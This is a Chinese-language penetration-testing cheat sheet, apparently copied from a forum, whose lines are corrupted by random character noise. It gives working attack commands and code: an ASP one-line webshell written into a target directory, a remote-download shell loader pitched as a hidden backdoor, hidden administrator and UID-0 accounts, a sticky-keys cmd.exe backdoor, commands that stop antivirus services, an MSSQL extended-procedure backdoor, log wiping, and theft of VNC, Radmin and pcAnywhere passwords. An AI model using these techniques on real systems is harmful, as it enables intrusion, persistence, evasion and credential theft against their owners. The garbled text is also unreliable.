渗透技巧总结

admin

旁站路径问题
% |& P, c9 |& |/ c5 q1、读网站配置。
3 h8 P; s' j. h2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

) f# v, I; F: r( q  q* h2 @Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
; }% D3 `' D5 ~7 o% ?( W2 @! J( i) u        WScript.Quit
End If
Set ObjService=GetObject
5 n% \; ]3 ?1 O+ R
("IIS://LocalHost/W3SVC")
( @( f1 d5 u2 h( B# K8 FFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
6 I1 J8 W% S: y" z9 S5 u+ ]; N, O
- h% k, {' W8 Y+ X/ v9 mThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
  Y+ k: j0 j8 q# H8 u% e- ^! x         

" M. z$ ^3 b3 D' G* T       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
3 T2 i% w( M+ z7 J6 v                If Err
* u( n& \$ S- @- B/ u
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

( O( B; _+ u( D, r4 o) s5 pOService.ServerComment & "]"
2 a3 _. L* G/ e/ x! ]                For Each Binds In OService.ServerBindings
/ b  Y8 f3 x# s2 Y8 `5 ~     
+ f1 }  f" Y! r5 U9 `8 k
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
  y2 v% W- A0 R/ d7 ]                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

( y/ I; f/ D6 j0 ?         WScript.Echo "ath            : " & VDirObj.Path
        End If
1 A) a# `$ p5 D4 u5 i5 |Next
9 p! C7 \7 E. `  [! C0 U复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
( f+ V- a; C7 I/ [' a. ?WordPress的平台，爆绝对路径的方法是：
$ R% Q  N  d5 ]7 Ourl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
/ }4 x/ n# a! s& wphpMyAdmin暴路径办法:
; ~9 J6 }. a) u1 U$ gphpMyAdmin/libraries/select_lang.lib.php
: V# w2 i) O8 K: @& lphpMyAdmin/darkblue_orange/layout.inc.php
6 O2 J+ {  Z; _) y) `( iphpMyAdmin/index.php?lang[]=1
! m6 _" ?$ A5 }  Rphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
) i' l3 z( p' W# k/ w. Q网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
9 {2 _+ {& ?$ F* R6 N; S+ I————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
7 w9 l+ R3 O' X% |" l/ |& C% Bnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
- P8 L/ V! l' K1 T% J6 q命令行下添加SQL用户的方法
# D( T6 h; D$ H( w) q需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
4 Z+ c% a  x2 m$ c( i" p7 |# _EXEC sp_addsrvrolemember 'test, 'sysadmin'
, `) t. a8 ~( f0 E然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

: `1 ]7 |7 v- n# [; q另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
& ?) a, d3 @! }- b! e% ]z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
% b1 Y& ^  L  H) R2 G4 [) s
* }: ~2 R6 p, o0 z/ L  {" X  dvbs:
  Y  Q+ o7 P* b7 [Set   o=CreateObject( "Shell.Users" )
: ~2 W+ R- W( ?  ~5 CSet z=o.create("test")
z.changePassword "123456",""
# r/ b- o- `5 F) t, \& u; {# }2 Bz.setting("AccountType")=3
. V1 ^" c: S& L- ^- I! f$ o——————————————————
& U& F5 W6 q  A- z8 c: K2 c) o+ zcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

7 f7 @! K0 Q9 x命令如下
' m# {3 T. R6 I( d4 Kcacls c: /e /t /g everyone:F           #c盘everyone权限
& u6 U4 N$ Y" Pcacls "目录" /d everyone               #everyone不可读，包括admin
) @1 _" o' ^' W————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
9 D% L7 c& X/ p# E2 [b、内网环境（LCX）
c、终端服务器超出了最大允许连接
2 g# R, V! d9 A& Z- UXP 运行mstsc /admin
2003 运行mstsc /console   
4 i. z( [1 g! U  e6 _
; o, b. a. v9 {6 x$ f0 S* l杀软关闭（把杀软所在的文件的所有权限去掉）
8 q# X8 w0 X. D4 B7 n5 P处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
6 ?" I" Y4 n" T$ g, S1 anet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
4 F% b, V2 \0 _2 k3 ^
4 _7 d3 ~& [9 \! }# t% b$ b卖咖啡：net stop "McAfee McShield"
————————————————————
& q" r" D, ]' s2 v8 |* u3 E
- s9 }! m, I# y/ R' n5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
" C# C; m7 I% {8 P1 J- u+ kcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
. i5 I& o% S- E$ O( \1 wcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
/ {% Y2 P) V1 Q+ |! D1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
+ D8 m& u+ s& n1 c" J3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
- g- Q8 J. i: w6 n3 o) b4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
8 a* q( E3 u- G, m) \5 Q———————————————————————
! Y( Q; C! s9 Y* o+ @日志处理
  y" B3 |2 [) {' dC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
/ S, p% Q1 j3 x6 `. l, r. s+ eex011120.log / ex011121.log / ex011124.log三个文件，
$ e  d  x# ]1 q! i; l直接删除 ex0111124.log
# x6 {. K) B, }( g7 p不成功，“原文件...正在使用”
/ _/ Y* H! l2 o! x当然可以直接删除ex011120.log / ex011121.log
6 w) `' v0 ~1 E* x1 P' C* I用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
( s$ o. s+ S: c$ x9 G% K当停止msftpsvc服务后可直接删除ex011124.log
( Z9 _" u/ r( \
0 Z0 e1 K. E- x4 T' n8 F: F$ AMSSQL查询分析器连接记录清除：
, ]& F: {# x, i$ w7 PMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
% E6 O1 r8 ?# }2 V- D: m找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

5 T, l+ D; t* Q+ I& Q: F' WServer\90\Tools\Shell\mru.dat
- M& V1 h2 R& A- r; J' C—————————————————————————
( V+ t% Q* p; }' [+ _6 Y6 W% u防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
, S. G1 t, N+ D  ~; P7 y5 K% aSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
+ T. o; U( w; _On Error Resume Next
, _/ o6 I5 q0 j0 \7 B5 e3 lSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
" l" s( n& G$ @& KWith Retrieval
6 b; n9 `* r/ W.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
7 u8 x$ e" \- d% \0 `With Ads
) O, F6 M# l4 r; T.Type = 1
2 n! J; F6 ]- ^" x3 i.Open
' Y( p  P8 J# T5 u.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
9 h1 k* s2 g: o/ D2 b.Cancel()
.Close()
" f" u0 |* O# F9 U5 _) l2 GEnd With
3 F: f; b, W9 xSet Ads=nothing
" M; d$ _  Q( J. b- A, mEnd Sub

8 v8 w. A- K4 O2 Z2 C1 MeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
) V! H2 H1 C' u5 G: r%>

- N3 d. m6 V  m) j4 \+ rVNC提权方法:
6 X  v' M0 Q5 Z- Z9 S, \利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
: w) D" r0 N* M5 T注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
) _) B9 m7 S, P' P. k9 \Radmin 默认端口是4899，
2 B9 j$ I$ a0 t& [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
& |, k( A: m8 Y  b如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
+ m4 _( D" b) Y  i8 T( {& {保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
1 H" c; ]$ \. U6 j5 DUsers\Application Data\Symantec\pcAnywhere\文件夹下。
- n) M& w7 `2 I$ {1 p! {: l——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
) T7 i3 n' C  Z0 l$ lWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
, ?3 l' h. h  b5 G, F6 X% J( z. e没有删cmd组建的直接加用户。
4 O( n, ^  Y4 k7i24的web目录也是可写，权限为administrator。
0 F/ ^. F7 s5 G- Q
1433 SA点构建注入点。
! S6 `  f. j$ s* l# m0 X# U4 G<%
strSQLServerName = "服务器ip"
% q5 ~! c7 w6 U. A9 o; AstrSQLDBUserName = "数据库帐号"
9 x. N* j2 F, r2 |& C% L! q& XstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
* q1 {8 M# h! \$ Z3 q- L9 g# |Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

* C, n# H+ G! ?6 G' P";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
9 k. g. {7 o# ^7 b8 z+ b
- E( L# E; X! x6 k! l% WstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
' K8 G; ^4 O! z  V- [" L* a1 L一.ldap渗透技巧
1.cat /etc/nsswitch
" Z+ d; k) h" i3 d3 Y! d, N看看密码登录策略我们可以看到使用了file ldap模式

2 o: S( Y/ ^/ G+ u3 k3 h2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
2 c! S! o9 R8 p3 t, {4 A
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
" R+ d6 C: s3 a# G
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
$ P9 Q. b! T1 p) O* f; t$ K0 h2 Kldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
5 F) A" M5 \' L# @8 E2 ]" B0 W; r
& v4 A9 b! G. X2 u8 |( [* A) H  d"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
4 L2 _2 ^+ f. |9 ?2 z' Y1 {7 z; {

, ~. q7 w3 p: P* N3 ^6 K$ Z4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

" K( m9 F7 X; t% H3 c" g实战:
1.cat /etc/nsswitch
5 ^) h. l8 ^" z! \看看密码登录策略我们可以看到使用了file ldap模式
3 Z( p  [" J; x
" P) @2 w1 g2 r" T5 R7 T2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
( }: G' c& k8 zldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
% K( u( U5 q+ }+ W有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; N/ v1 U1 N9 i+ {+ ^
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

% i% a; M+ H/ ^+ V1 {
; N+ N$ c  o* f8 B4.查找10条用户记录
! x1 S- D) O" c& G) i0 p0 x  Tldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

$ c* ?: S, X3 C) `+ ]& y渗透实战:
! p$ |2 l' n- a# }+ z. _1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
1 Q6 g: k  J& n( _8 e+ ]) i" xdn: dc=ruc,dc=edu,dc=cn
dc: ruc
  f8 K8 N' `" v4 R: nobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
/ v2 C2 K1 X. w1 C& r9 [' dobjectClass: inetOrgPerson
& D  m/ {3 @# G6 _$ \  dobjectClass: organizationalPerson
$ E% z0 m1 s0 E; G4 d. ]0 r; ?) _objectClass: person
2 F3 h, {7 x1 o: c9 a2 y0 [objectClass: top
sn: manager
5 [# N& M1 L2 F9 L" Tcn: manager
6 L6 |# {! U4 c- p8 m) O" H
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
, M, _8 g9 w( t% B' Tuid: superadmin
objectClass: inetOrgPerson
0 E7 ~6 O. I6 vobjectClass: organizationalPerson
5 u. N' D2 |# ^" p; T. P& m3 uobjectClass: person
objectClass: top
sn: superadmin
: f; R. ]9 K( [( x2 B9 h0 Hcn: superadmin
. o' i7 p! M" Z3 p% Q1 o9 ?2 J
dn: uid=admin,dc=ruc,dc=edu,dc=cn
, V( w# h/ y4 m* z9 Vuid: admin
4 U2 X$ A) x3 V2 S: SobjectClass: inetOrgPerson
7 m. r' v5 w0 ]! L& ~: E: NobjectClass: organizationalPerson
objectClass: person
objectClass: top
; h' D0 K, W* l  M0 m# n) Zsn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
& `( t; B2 ]9 K5 luid: dcp_anonymous
objectClass: top
objectClass: person
3 u. Z7 x1 d7 ]1 N) qobjectClass: organizationalPerson
3 V6 F, d  f/ \; i; Z) C" qobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
+ m% Q4 w0 Y8 o) K
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
0 D1 G( x/ y3 ]% k, S4 x0 Eversion: 1
- r/ o' z. p" rdn: dc=ruc,dc=edu,dc=cn
+ o% O& R8 i; j$ z  O! p6 ddc: ruc
objectClass: domain
! C+ A0 I/ j/ w
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
, ~; x2 }. Z5 I3 x$ W7 J/ k3 Hversion: 1
8 S( t' I) w' |$ m5 qdn:
) {; b7 Q5 @' K. _objectClass: top
' ]' }& u! b7 @4 XnamingContexts: dc=ruc,dc=edu,dc=cn
+ L9 _( c; f" R' q" R# s& l% D* SsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
# {3 n' d. \! j4 C; ~5 W, N$ vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
% o: D0 L& O4 d& [4 ]( i& FsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
' z" M% r5 u, t' n3 C$ FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
! t2 N/ T, M* esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
" C9 s3 L1 X4 S4 F3 O$ vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
' S% x' I+ a) `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
7 {! C/ N: t/ J/ W) U! l" msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
) |* I6 ~3 F5 b3 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
1 ?) g$ O% Q( [/ Z$ O3 K* e! _  HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
5 B/ K5 B: n0 V6 C* {: wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
5 c2 u) I" t- R& `5 k2 N" x5 C# z6 TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
) H' {% `7 b5 W! Y0 u1 Q/ WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
- _  w) ~* o0 D; f1 ^supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
$ S) h( I% J) ~' S, g' E" `supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
* }! q$ j0 w' VsupportedControl: 2.16.840.1.113730.3.4.4
' @: n7 `8 q7 b" ^  j+ `9 hsupportedControl: 2.16.840.1.113730.3.4.5
3 @' D0 e4 G: l/ c: ?1 s6 |supportedControl: 1.2.840.113556.1.4.473
/ M5 Z0 `5 ]6 z- e0 osupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
* ^" _0 \! r" c/ e( Q3 x# o4 j4 B: Q$ csupportedControl: 2.16.840.1.113730.3.4.17
1 h; f8 |- d) N4 B+ A  p) h. FsupportedControl: 2.16.840.1.113730.3.4.19
# ]3 {" N6 d0 a% isupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
' k8 d7 f2 v( l* ?% W0 K; X- L9 bsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
: Q7 G7 t% q* j4 d8 ~supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
) {! K! B. j; Y" A1 JsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
0 B% I7 p1 N! p0 U# Y9 I3 `& ~supportedControl: 2.16.840.1.113730.3.4.13
; U' U( S( ]! ^  M- JsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
& Y' u/ ^. k; c% A1 Ndataversion: 020090516011411
# N) b& g/ k1 A, p/ \7 I: Gnetscapemdsuffix: cn=ldap://dc=webA:389
3 ]  E+ g3 e$ CsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
$ ]$ V5 ~7 J- N6 f7 @supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
5 N, [9 x6 I! LsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
, b, \) ^4 x' P' [- }4 l/ osupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
, x) l) K# k2 W" @" w. p4 VsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0 k$ {) w' `" XsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
' d, h5 Q1 @: c$ esupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
2 g! V+ J* y1 N, o9 q0 ?, P' usupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
5 ^) i5 J4 y* y" e) ?. a) ^supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
. }: J6 M# j  Q# `; B% V. {; x( E4 Q4 osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
% y/ C$ |; ^  M4 [5 s5 ]0 FsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
+ A1 p4 q/ k1 \" ^7 WsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
5 i$ ~4 g4 T; [+ F& jsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
! f; F6 X+ u6 S+ LsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
! W: o# Z; l7 g/ J  wsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
' \5 s4 Q$ }% o) D/ Y$ u  rsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
: T" C5 z& w/ I& CsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
3 u1 s! X$ l5 C" YsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
. ~" h  ^" F, T8 Q————————————
2. NFS渗透技巧
3 R# x9 D& e3 Z& i' L5 t1 s, Mshowmount -e ip
. |: ]9 K- o: j8 m, K/ s  \列举IP
" [8 l0 P; U- P8 v/ W; d: A6 B——————
2 Q/ o: G- m/ Q5 Q/ W3.rsync渗透技巧
: ~! }$ J% h, t) S. N1 v* B8 S1.查看rsync服务器上的列表
* h' v0 R/ ?- U. w3 Hrsync 210.51.X.X::
0 @# G& l7 `5 N6 n/ cfinance
* D& c( j0 U) d' Jimg_finance
auto
img_auto
( }* W: N# n) r& y2 Rhtml_cms
img_cms
- ?: _: O8 K1 Ient_cms
ent_img
6 l7 S7 o: t( W  K* U8 ]ceshi
' [' M" v) C# Z) V: g9 i' }2 ~res_img
* r+ \, P  }: a# h: i/ mres_img_c2
chip
6 b4 r' g1 z- W7 c# ochip_c2
: S9 S! k4 B- K0 `ent_icms
8 \+ o3 ^2 u+ R1 Kgames
* T# Y0 e) }. m3 M6 vgamesimg
media
9 {& I, U+ f1 _: ~4 Emediaimg
fashion
( c: B6 K! A+ Eres-fashion
) M: _; H& g4 ]* r1 f- bres-fo
taobao-home
! l1 Q2 Q" ~" J9 d# R  B2 }res-taobao-home
house
res-house
1 q% L  ~) ^5 _8 }% u5 ?* W' q4 @res-home
: {' y3 R, _) @; o& vres-edu
res-ent
9 T8 @, U3 J+ C: @res-labs
res-news
$ @4 X' Z$ D9 Q' ^2 y5 `& O2 Pres-phtv
res-media
home
9 Y) F  K- l3 j% O4 }* aedu
- K$ J% @6 `3 y1 k$ w0 bnews
, |. e  r% ~/ |8 ]. V4 hres-book
' M1 b  ?) S, P) c- q
, t: n/ }% W; O- S$ \+ @看相应的下级目录(注意一定要在目录后面添加上/)


: ]  T3 N- R" ?- hrsync 210.51.X.X::htdocs_app/
/ s6 e0 R4 R1 f$ Q, S" m4 Drsync 210.51.X.X::auto/
6 h% f% H# b: ~; N! Z9 ?rsync 210.51.X.X::edu/

- Z, n6 o& A% I: y$ `" n2 U$ p2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
7 A. f, ^7 f5 e" _- n- x8 o
) T4 ^9 J/ {. M7 ]8 E3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
% M' t( ~4 Q: [. @5 f3 shttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
# c2 D9 g" X& |6 d% hnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
# C0 R5 m) y, q* }, DGET HTTP://WWW.sina.com:22 / HTTP/1.0
3 K) B4 ^' e  d, [8 T* C: t) z五.SSH端口转发
! c+ j8 y' j% \1 g) L( nssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
" C- m9 J8 c; p+ d+ V
六.joomla渗透小技巧
& @1 |, U0 [1 t* j+ a: M' L确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm
# }# o* D. y5 d* j+ }
+ \4 H! A( Q' @七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
# o( p9 H: r  P7 ?* Y  H& @6 I& n
/ o9 G( B9 S7 G! e6 L八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
! w* g+ D. f6 ]0 N! W* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
! Y# f. N( {3 |9 U5 p9 J* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
